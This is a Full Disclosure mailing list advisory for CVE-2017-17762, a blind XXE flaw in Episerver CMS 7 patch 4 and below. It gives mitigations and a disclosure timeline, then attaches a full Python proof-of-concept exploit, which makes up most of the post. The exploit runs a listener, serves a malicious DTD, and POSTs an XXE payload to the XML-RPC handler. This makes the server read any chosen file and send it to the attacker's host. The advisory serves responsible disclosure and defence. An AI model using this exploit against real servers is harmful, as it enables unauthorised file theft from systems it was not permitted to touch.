[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] CVE-2017-17762 - XXE Vulnerability in Episerver CMS



About
==============
Blind (XXE) XML External Entity vulnerability in the CMS Episerver 7
patch 4 and below. The vulnerability is in the blog module and can be
used even if the blog module has been disabled.

Exploit
==============
PoC exploit attached.

Mitigations
==============
Disable access to the path /util/xmlrpc/Handler.ashx
Disable outgoing access from the webserver, including DNS etc.

Disclosure timeline
==============
2017-12-12 Contacting CERT-SE
2017-12-13 Contacting the Episerver company
2017-12-19 CVE-number reserved
2017-12-21 The Episerver VP R&D acknowledges the vulnerability.
Internal bug number is #128556 and he writes that it's fixed from
Episerver 7-patch 5
2018-08-28 First public info


Regards,
Jonas Lejon
Triop AB
https://triop.se
#!/usr/bin/python
##
## episploit.py - Blind XXE file read exploit for Episerver 7 patch 4 and below
##
## Starts a listening webserver, so the exploits needs a public IP and 
unfiltered port, configure RHOST below!
##
## Written by Jonas Lejon 2017-12-19 <jonas.xxe@xxxxxxxx> https://triop.se
## Based on https://gist.github.com/mgeeky/7f45c82e8d3097cbbbb250e37bc68573
## 
## Usage: ./episploit.py <target> [file-to-read]
##

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib
import re
import sys
import time
import threading
import socket

SERVER_SOCKET   = ('0.0.0.0', 8000)
EXFIL_FILE              = 'file:///c:/windows/win.ini' 

# The public facing IP. Change this
RHOST                   = '1.2.3.4:' + str(SERVER_SOCKET[1])

EXFILTRATED_EVENT = threading.Event()

class BlindXXEServer(BaseHTTPRequestHandler):

        def response(self, **data):
                code = data.get('code', 200)
                content_type = data.get('content_type', 'text/plain')
                body = data.get('body', '')

                self.send_response(code)
                self.send_header('Content-Type', content_type)
                self.end_headers()
                self.wfile.write(body.encode('utf-8'))
                self.wfile.close()

        def do_GET(self):
                self.request_handler(self)

        def do_POST(self):
                self.request_handler(self)

        def log_message(self, format, *args):
                return

        def request_handler(self, request):
                global EXFILTRATED_EVENT

                path = urllib.unquote(request.path).decode('utf8')
                m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
                if m and request.command.lower() == 'get':
                        data = path[len('/?exfil='):]
                        print 'Exfiltrated %s:' % EXFIL_FILE
                        print '-' * 30
                        print urllib.unquote(data).decode('utf8')
                        print '-' * 30 + '\n'
                        self.response(body='true')

                        EXFILTRATED_EVENT.set()

                elif request.path.endswith('.dtd'):
                        print 'Sending malicious DTD file.'
                        dtd = '''<!ENTITY %% param_exfil SYSTEM 
"%(exfil_file)s">
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 
'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST}

                        self.response(content_type='text/xml', body=dtd)

                else:
                        print '[INFO] %s %s' % (request.command, request.path)
                        self.response(body='false')

def send_stage1(target):
        content = '''<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://''' + 
RHOST + '''/test.dtd"><foo>&exfil;</foo>'''
        payload = '''POST /util/xmlrpc/Handler.ashx?pageid=1023 HTTP/1.1
Host: ''' + target + '''
User-Agent: curl/7.54.0
Accept: */*
Content-Length: ''' + str(len(content)) + '''
Content-Type: application/x-www-form-urlencoded
Connection: close

''' + content

        print "Sending payload.."
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        port = 80
        s.connect((target,port))
        s.send(payload)

def main(target):
        server = HTTPServer(SERVER_SOCKET, BlindXXEServer)
        thread = threading.Thread(target=server.serve_forever)
        thread.daemon = True
        thread.start()
        send_stage1(target)

        while not EXFILTRATED_EVENT.is_set():
                pass

if __name__ == '__main__':
        if len(sys.argv) > 1:
                target = sys.argv[1]
        if len(sys.argv) > 2:
                EXFIL_FILE = sys.argv[2]
        main(target)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/